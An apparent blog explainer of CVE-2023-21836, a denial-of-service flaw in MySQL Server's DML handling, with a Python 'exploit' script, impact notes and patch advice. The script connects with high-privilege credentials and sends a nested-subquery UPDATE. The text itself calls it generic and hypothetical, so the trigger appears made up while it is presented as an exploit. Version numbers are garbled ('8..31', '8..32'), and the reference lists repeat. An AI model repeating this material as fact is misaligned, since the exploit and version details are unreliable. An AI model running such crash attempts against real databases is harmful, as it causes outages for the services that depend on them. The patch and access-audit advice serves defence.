The MySQL database is used by millions of organizations for high-performance and mission-critical applications. But like all software, it isn’t immune to bugs—and some of those bugs can be a real headache. In this long read, I’ll walk you through CVE-2023-21836, a DoS vulnerability found in MySQL Server (component: Server: DML), what causes it, and how an attacker can leverage it to crash your server. I’ll keep the tech-language simple, share a code snip, and even link out to more resources.

Attack Vector: Network (multiple protocols, like mysql, x protocol, etc.)

- Privileges Required: High (like valid admin/db user)

CVSS 3.1 Score: 4.9 (Availability impact only)

In normal words: This vulnerability makes it possible for someone who already has high-level rights on your MySQL server to crash it from anywhere on the network just by sending the right kind of data requests.

- Oracle Critical Patch Update Advisory - January 2023
- NVD: CVE-2023-21836 entry
- Oracle MySQL 8..32 Release Notes

who’s At Risk?

- Any production server using MySQL 8..31 or earlier is vulnerable, even if firewalled, as long as an attacker can connect.
- But: This bug isn’t exploitable by random outsiders. The attacker needs valid DB access with enough rights for DML commands.

Exploiting CVE-2023-21836: How Does It Work?

When the MySQL server handles certain DML commands (like UPDATE, DELETE, INSERT, etc.), an attacker can craft a specific SQL operation that causes internal data handling code to hit a bug, usually resulting in a NULL pointer or assertion failure. This then brings down the MySQL process — it either hangs or crashes completely, causing downtime.

Here’s a simplified scenario:  
Suppose there’s a buggy code path when handling nested queries or certain constraints. An attacker can exploit this with carefully chosen query patterns.

Example Exploit Snippet

> ⚠️ WARNING: Do NOT run this on anything except your own test/dev instance!

Here’s a generic Python exploit using mysql-connector-python. This script demonstrates how the attack might look by bombarding the server with a crafted SQL statement.

import mysql.connector

# Replace with actual target info
HOST = 'target.mysql.server'
PORT = 3306
USER = 'high_privileged_user'
PASSWORD = 'password'
DBNAME = 'testdb'

connection = mysql.connector.connect(
    host=HOST,
    port=PORT,
    user=USER,
    password=PASSWORD,
    database=DBNAME
)

cursor = connection.cursor()

# Attempt triggering the crash (query type may vary by table/bug specifics)
# Example: Abuse certain triggers/constraints/nested selects as per the vulnerable path.
try:
    cursor.execute("""
    UPDATE important_table
    SET important_field = (SELECT MIN(important_field) 
                           FROM (SELECT important_field 
                                 FROM important_table 
                                 ORDER BY important_field LIMIT 100000) as subquery)
    WHERE 1=1
    """)
except Exception as e:
    print("Server may have crashed or hung:", e)

cursor.close()
connection.close()

Note:
The actual exploit details may depend on database schema and the full context of the bug, but real-world PoCs hammer the internal handling for massive temporary tables, sub-queries, or tricky triggers causing assertion failures.

Service Downtime: Your websites, APIs, and applications fail until MySQL is rebooted.

- Data not corrupt but...: No data is *lost* directly by the DoS, but unsaved transactions are rolled back.

In a shared environment, the attacker could take out the whole server with one query.

How to Fix CVE-2023-21836?

Update MySQL ASAP!

Simply update your MySQL server software.

Reference:  
Official Fix - MySQL 8..32 Release Notes

Summary

CVE-2023-21836 shows that even modern database systems can be knocked over with the right (or wrong) SQL if an attacker has the right access. While this bug doesn’t let outsiders break in or steal data, it’s a serious DoS risk for shared environments.

Audit who has high-level DB access and monitor for odd queries.

- Don’t ignore “Availability Only” bugs! Outages can cause loss in trust, revenue, and productivity.

- Oracle Security Alert CPUJan2023
- CVE-2023-21836 - NVD
- MySQL 8..32 Release Notes

Timeline

Published on: 01/18/2023 00:15:00 UTC
Last modified on: 01/24/2023 19:28:00 UTC